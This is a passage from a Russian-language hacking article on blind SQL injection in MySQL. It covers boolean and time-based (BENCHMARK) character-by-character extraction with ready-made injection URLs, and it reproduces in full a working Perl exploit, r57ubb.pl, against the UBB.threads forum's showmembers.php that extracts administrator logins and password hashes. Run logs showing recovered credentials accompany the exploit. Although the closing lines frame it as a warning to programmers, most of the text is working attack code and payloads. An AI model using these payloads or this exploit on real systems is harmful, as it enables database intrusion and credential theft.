Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>31
Условие: True

3.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>46
Условие: True

4.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>54
Условие: False

5.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>50
Условие: False

6.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>48
Условие: True

7.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=49
Условие: False

8.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=50
Условие: True

Таким образом атакующий обладает возможностью получать информацию из любой таблицы в БД даже при условиях, что вывод данных, непосредственно полученных из запроса, не осуществляется. Как и в случае с подзапросами данный метод перебора может применяться не только в запросах выборки из БД типа SELECT ..., но и в запросах обновления записей типа UPDATE ... при условии, что есть возможность определить был-ли выполнен запрос или нет.

__ MySQL версии < 4.0 __

Вот мы и подошли к самому интересному разделу данной статьи. Раньше я не встречал документов описывающих методику использования атак типа внедрения sql кода для получения информации о записях в базе данных на версиях MySQL ниже 4.0. И в разнообразных эксплоитах, которые можно найти в сети, основанных на данном типе уязвимости пишут, что атака осуществима только на версиях поддерживающих UNION. Но гораздо чаще все-же встречаются более низкие версии. =(
Без поддержки обьединения запросов с помощью UNION и без поддержки подзапросов атакующий очень сильно урезан в правах, точнее сказать он ограничен таблицей (или таблицами) с которыми работает уязвимый запрос (запрос в который мы добавляем наш sql код). Кроме информации из таблиц с которыми работает уязвимый запрос атакующий также может получить значения некоторых системных переменных о которых будет рассказано далее, а пока перейдем к получению данных из таблицы.

Итак предположим, что наш уязвимый php-скрипт работает с базой данных версия которой ниже 4.

Добавим в запрос к серверу условие ограничивающее выборку еще и именем пользователя (конечно это выполнимо при условии, что мы уже располагаем информацией о имени пользователя), таким образом запрос примет следующий вид:
server.com/users.php?id=1 AND login="admin"
В БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin"
Если данный запрос вернет результат, то мы определяем, что в таблице есть запись у которой в поле status стоит значение 1, а в поле login находится значение admin. В нашем случае только одна запись совпадает с данным условием, а в других случаях придется вводить условия пока выборка не станет возвращать только один результат.
Теперь можно вставить еще одно условие
server.com/users.php?id=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
в БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
Данный запрос возвращает результат только в случае если в таблице есть запись у которой в поле status стоит значение 1, в поле login находится значение admin а код первого символа значения полученного из поля password более 48. Первыми условиями мы ограничиваем выборку строкой из которой хотим получить запись из нужного столбца, а последним условием соответственно проверяем совпадение или несовпадение кода символа полученного из записи. Таким образом можно перебором получить значение данного столбца, этой записи. Меняя первые условия в запросе мы можем менять строки, значения из которых мы собираемся перебирать.

Пример получения записи из столбца password для юзера admin на mysql версии ниже 4.0:

C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 
   FROM mysql.user WHERE user=char(114,111,111,116)" "password" 1 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char < 54
-> Try 46 .. 55 -> Char < 50
-> Try 46 .. 51 -> Char > 48
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 
   FROM mysql.user WHERE user=char(114,111,111,116)" "password" 2 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char > 54
-> Try 54 .. 62 -> Char < 58
-> Try 54 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 
   FROM mysql.user WHERE user=char(114,111,111,116)" "password" 3 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 
   FROM mysql.user WHERE user=char(114,111,111,116)" "password" 4 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char < 97
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
И так далее...

__ Системные переменные __

Кроме получения информации из записей таблицы (или таблиц) с которыми работает запрос, в который мы внедряем наш код, мы также можем получить перебором значения некоторых системных переменных. Пример такого получения значения уже встречался ранее в статье когда мы получали имя пользователя из user().
Кроме user() мы можем получить следующие значения:
database() - название базы данных с которой работает наш запрос.
version() - версия базы данных с которой работает наш скрипт. Кроме version() можно также использовать и @@version что является синонимом данной функции и поддержка которого введена в mysql начиная с версий 3.23.50

Как пример получение версии БД через наш уязвимый скрипт:


C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 1 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 2 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 3 "Found: 3" 46 57
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 4 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 5 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 6 "Found: 3" 46 57
-> Ascii: 53
-> Char: 5
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 7 "Found: 3" 46 57
-> Ascii: 56
-> Char: 8
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 8 "Found: 3" 46 57
-> Try 46 .. 57 -> Char < 51
-> Try 46 .. 52 -> Char < 49
-> Try 46 -> NO =(
-> Try 47 -> NO =(
-> Try 48 -> NO =(
-> Try 49 -> NO =(
NOT FOUND

Таким образом версия БД: 3.23.58
Для ускорения перебора мы используем диапазон 46..57 включающий в себя цифры и точку. Именно поэтому последний запрос возвращает NOT FOUND.

__ Задержки __

Нет, это не те задержки которые случаются у девушек и указывают на то, что пришло время идти покупать соску, тут все не так страшно =)
В вышеописанных примерах наш перебор основывался на том, что существует вывод какой-либо информации о том был ли успешно выполнен запрос в БД (точнее был ли возвращен результат запроса) или же нет. Но бывают случаи когда доступа к такой информации у атакующего нет.
Например на сервере существует такой скрипт stat.php:

 <?
 error_reporting(0);
 ... подключение к базе данных ...
 @mysql_query("UPDATE stat SET num=num+1 WHERE id=$id");
 echo "OK";
 ?>
Данный скрипт работает с таблицей stat следующего вида:
 +----+-----+------------+---------------+
 | id | num |  name      | password      |
 +----+-----+------------+---------------+
 | 1  | 100 | Яндыкс.ru  | kewl_password |
 | 2  | 200 | Румблер.ru | bad_password  |
 +----+-----+------------+---------------+
Скрипт в зависимости от переданного значения параметра id обновляет подходящую по условию запись, добавляя единицу к значению столбца num.
Никакой информации о результате выполнения запроса после этого не выводится и соответственно мы не можем таким образом определить выполнение или невыполнение дополнительного условия.
Для дополнительного условия мы будем использовать функцию if() которая позволяет вставлять результат в запрос в зависимости от выполнения или невыполнения условия указанного в качестве первого параметра в данной функции.
IF(expr1,expr2,expr3)
Если expr1 равно значению ИСТИНА (expr1 <> 0 и expr1 <> NULL), то функция IF() возвращает expr2, в противном случае - expr3.
Также мы будем использовать функцию BENCHMARK(count,expr) которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. Она может использоваться для определения того, насколько быстро MySQL обрабатывает данное выражение. Значение результата всегда равно 0.
В качестве выражения expr в функции benchmark мы будем использовать вычисление контрольной суммы с помощью функции md5()
MD5(string) - Вычисляет 128-битовую контрольную сумму MD5 для аргумента string. Возвращаемая величина представляет собой 32-разрядное шестнадцатеричное число.
Данные функции мы будем использовать следующим образом: benchmark(999999,md5(char(114,115,116)));
Если попробовать выполнить данную функцию в mysql то можно заметить, что на её выполнение требуется порядка 10 секунд.
mysql> select benchmark(999999,md5(char(114,115,116)));
+------------------------------------------+
| benchmark(999999,md5(char(114,115,116))) |
+------------------------------------------+
|                                        0 |
+------------------------------------------+
1 row in set (10.20 sec)

Итак делаем такой запрос к серверу:
server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));

Вызывает выполнение в БД запроса

UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));

Что происходит в данном запросе. Сначала берется значение столбца password из строки для которой id=1, после этого из этого значения с помощью функции substring() получаем первый символ. И сравниваем этот символ с символом "u".
Тут начинается самое интересное.
Если условие выполняется то функция if() возвращает значение указанное в качестве второго параметра т.е. 1 и запрос принимает вид: UPDATE stat SET num=num+1 WHERE id=1 AND 1=1 соответственно данный запрос выполняется и ничего экстраординарного не происходит, все как обычно.
В случае если условие указанное в функции if() невыполняется то функция пытается возвратить значение указанное в качестве третьего параметра функции т.е. benchmark(999999,md5(char(114,115,116))) соответственно для этого ей нужно для начала получить это значение и происходит вычисление данной функции. Но на это вычисление базе данных естественно требуется некоторое время, достаточно длительное. После чего значение 0 подставляется в запрос и соответственно запрос не выполняется т.к. условие 1=0 но это нас уже не интересует.
Суть в том, что при невыполнении условия в функции if() общее время выполнения запроса к базе данных получается большим чем время когда условие выполняется. И это время зависит от времени необходимого на работу функции bencmark. Соответственно наш уязвимый скрипт выполняется гораздо дольше при невыполнении условия.
Таким образом меняя условия внутри функции и смотря на время выполнения скрипта мы можем также как и ранее пользуясь substring() получить перебором значения из записи в таблице.

Попробовав выполнить запросы с различными условиями в базе данных можно понаблюдать за изменением веремени их выполнения:

1. Условие невыполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));
Query OK, 0 rows affected (10.28 sec)
Rows matched: 0 Changed: 0 Warnings: 0

2. Условие выполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999999,md5(char(114,115,116))));
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

Пример перебора с использованием задержек:

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="w"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ в поле password для строки где id=1 не равен "w"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="b"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ не равен "b"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Нет задержки
Вывод: Первый символ равен "k"

И так далее перебирая символы и позиции в строке можно полностью получить всю строку. Таким образом даже наличие вывода о выполнении или невыполнении запроса не является необходимым условием для осуществления посимвольного перебора записей из базы данных.

__ Конкретный пример __

Пришло время рассмотреть конкретный пример использования посимвольного перебора. Нашим пациентом станет форум UBB.threads в котором недавно нашли ошибку типа sql injection в файле showmembers.php. На данную уязвимость был выпущен эксплоит позволяющий получить пароль администратора через обьединение запросов с помощью UNION, естественно данный сплоит работает только на базах mysql версии выше 4.0 Мы попробуем написать эксплоит который будет работать на всех версиях БД.

Преведу код из файла showmembers.php:

	// Set the default sort
   $andlike = "";
   if (empty($sb)) { $sb = 1; };
   if ($like != "") {
      $andlike = "AND U_Username LIKE '$like%'";
   }


// --------------------------------------------------
// Grab the total number of users out of the database
   $query = "
      SELECT COUNT(*)
      FROM  {$config['tbprefix']}Users
      WHERE U_Approved='yes'
      $andlike
   "; 
	
В данном коде скрипт запросом получает количество пользователей из таблицы у которых имя пользователя U_Username совпадает со строкой переданной нами в качестве параметра like.

Например для того чтобы найти пользователей у которых username начинается с 123 мы отдаем такую команду в браузере

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=123

В базе данных выполняется запрос

SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '123%'

Так как параметр like никак не проверяется перед помещением в запрос мы можем вставить в данный запрос дополнительные условия:

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*

Что вызовет выполнение в БД запроса:

SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*%'

И данный запрос вернет информацию о пользователе имя которого 12345 если код первого символа его пароля равняется 50 т.е. если первый символ его пароля 2.

Точнее сказать что этот запрос возвращает количество строк совпадающих с условием, а далее в зависимости от этого количества, производятся следующие запросы к БД выбирающие информацию о данных пользователях. Опубликованный эксплоит как раз и использовал обьединение через UNION в этих последующих запросах для вывода хешей паролей пользователей. В нашем же случае нам вполне достаточно этого первого запроса к БД получающего количество строк. Ведь если будет возвращаться нулевое количество то и дальнейшие запросы выполняться не будут и соответственно не будет никакого вывода. А наличие или отсутствие вывода и является единственным необходимым нам ответом скрипта на основании которого мы и проведем перебор.

Одна особенность данного форума состоит в том что в U_Username хранится имя пользователя которое отображается при добавлении сообщений и в списке пользователей, но для авторизации на форуме используется U_LoginName которое не отображается и которое нам также придется получить для чего мы воспользуемся уже известной функцией CONCAT. И запрос принимает вид:

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(CONCAT(U_LoginName,CHAR(58),U_Password),1,1)))=50 /*

Функция char(58) соответствует символу : и предназначена для того чтобы при получении отделить логин от хэша пароля.

Итак теперь осталось только определить строку которая будет присутствовать в ответе скрипта при правильном выполнении запроса и все данные необходимые для перебора будут у нас в руках.

После просмотра html кода легко определить что при присутствии вывода информации о пользователе (т.е. при выполнении запроса) в коде будут присутствовать строки типа: <td class="lighttable"> Именно по этим строкам мы и будем определять выполнение условия в запросе.

Таким образом все данные необходимые для перебора у нас имеются и можно написать эксплоит который будет перебирать символы и выводить полученный результат. Код данного сплоита таков:

--- start r57ubb.pl ---

#!/usr/bin/perl

use LWP::UserAgent;

# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57

$path     = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
# начинаем перебор с полного диапазона
&found(0,122);   
# если возвращенный код 0 значит дошли до конца 
# строки и выводим полученный результат
if ($char=="0")  
 { 
 print "]\r\n\r\n"; 
 # разделяем полученную строку на логин и пароль
 ($res1,$res2)=split(":",$allchar);  # 
 print "------------------x REPORT x-------------------\r\n";
 print "      Username: $username\r\n";
 print "    Login Name: $res1\r\n";
 print " Password Hash: $res2\r\n"; 
 print "------------------x REPORT x-------------------\r\n";
 print "total requests: $n\r\n";
 exit(); 
 }
else 
 { 
 # преобразуем полученный код в символ и добавляем его к строке результата
 print "|"; 
 $allchar .= chr($char); 
 }
# увеличиваем позицию символа на единицу и продолжаем перебор
$s_num++;
}



sub found($$)
 {
 # определяем переданный диапазон
 my $fmin = $_[0];
 my $fmax = $_[1];
 # если диапазон менее 5 то переходим к перебору
 if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
 # определяем центр диапазона
 $r = int($fmax - ($fmax-$fmin)/2);
 # делаем условие
 $check = ">$r";
 # и проверяем условие, в зависимости от результата 
 # рекурсивно вызываем функцию с новым диапазоном
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r+1); }
 }
 
sub crack($$)
 {
 # определяем переданный диапазон
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # и проходим по каждому значению из диапазона
 while ($i<$cmax)
  {
  # делаем условие
  $crcheck = "=$i";
  # проверяем его
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 return;
 }
 
sub check($)
 {
 # увеличиваем количество запросов
 $n++;
 # определяем условие 
 $ccheck = $_[0];
 # создаем http запрос к серверу 
 $http_query = $path."?Cat=&page=1&like=".$username."' 
AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
 
 # Если вы хотите видеть все запросы отправляемые к скрипту
 # то расскоментируйте следующую строку
 # print "\r\n $http_query \r\n";
 
 $mcb_reguest = LWP::UserAgent->new() or die;
 # получаем ответ сервера
 $res = $mcb_reguest->post($http_query); 
 @results = $res->content; 
 # проверяем ответ сервера на наличие строки
 foreach $result(@results)
  {
  if ($result =~ /<td class=\"lighttable\">/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "=========================================================\r\n";
 print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
 print " For all MySQL versions! Don't need UNION support!\r\n";
 print "=========================================================\r\n";
 print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
 print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
 print "=========================================================\r\n";
 exit(); 
 }

--- end r57ubb.pl ---
Итак пусть форум крутится на mysql версии 3.23.58 и на форуме существует пользователь имя которого "im_not_admin"
Попробуем получить его логин и пароль.
C:\>r57ubb.pl http://127.0.0.1/ubbthreads/showmembers.php im_not_admin
Please wait...
[|||||||||||||||||||||||||||||||||||||||||||]

------------------x REPORT x-------------------
      Username: im_not_admin
    Login Name: real_admin
 Password Hash: 5f4dcc3b5aa765d61d8327deb882cf99
------------------x REPORT x-------------------
num requests: 373

C:\>
	
Как видно нам это удалось и общее количество запросов понадобившихся для перебора составило 373 запроса. Таким образом для перебора строки из 43 символов (32 символа хеш пароля + 10 символов имя юзера + 1 символ разделитель) требуется примерно 350-400 запросов и на диалапе перебор занимает примерно секунд 20-30. Имхо совсем неплохо ;)
В приведенном коде перебирается диапазон символов с кодами от 0 до 122 и не используется функция lower() так как в логине пользователя могут использоваться символы в верхнем регистре. Можно еще ускорить перебор уменьшив диапазон перебора после получения символа разделителя (:) так как пароль в данном форуме шифруется md5 и соответственно в хеше будут только символы в нижнем регистре и цифры. Но реализацию этого я оставлю для вас...

__ OUTRO __

Методы описанные в данной статье на примере баз MySQL с тем же успехом могут применяться и на MSSQL, единственное, что для этого потребуется это немного видоизменить запросы. В MSSQL включена поддержка как обьединения через UNION так и поддержка подзапросов, таким образом на данной базе посимвольный перебор трудностей не вызывает.

Целью данной статьи было показать как возможные взломщики могут получить информацию из баз данных пользуясь внедрением sql кода в разнообразные запросы при условиях отсутствия вывода полученного результата. Надеюсь эта статья подтолкнет програмистов пишущих софт, использующий в своей работе БД, тщательнее относиться к проверке данных получаемых от пользователя перед помещением этих данных в запрос к базе данных, вне зависимости от того какого рода этот запрос.

SOC как супергерой: не спит, не ест, следит за безопасностью!

И мы тоже не спим, чтобы держать вас в курсе всех угроз

Подключитесь к экспертному сообществу!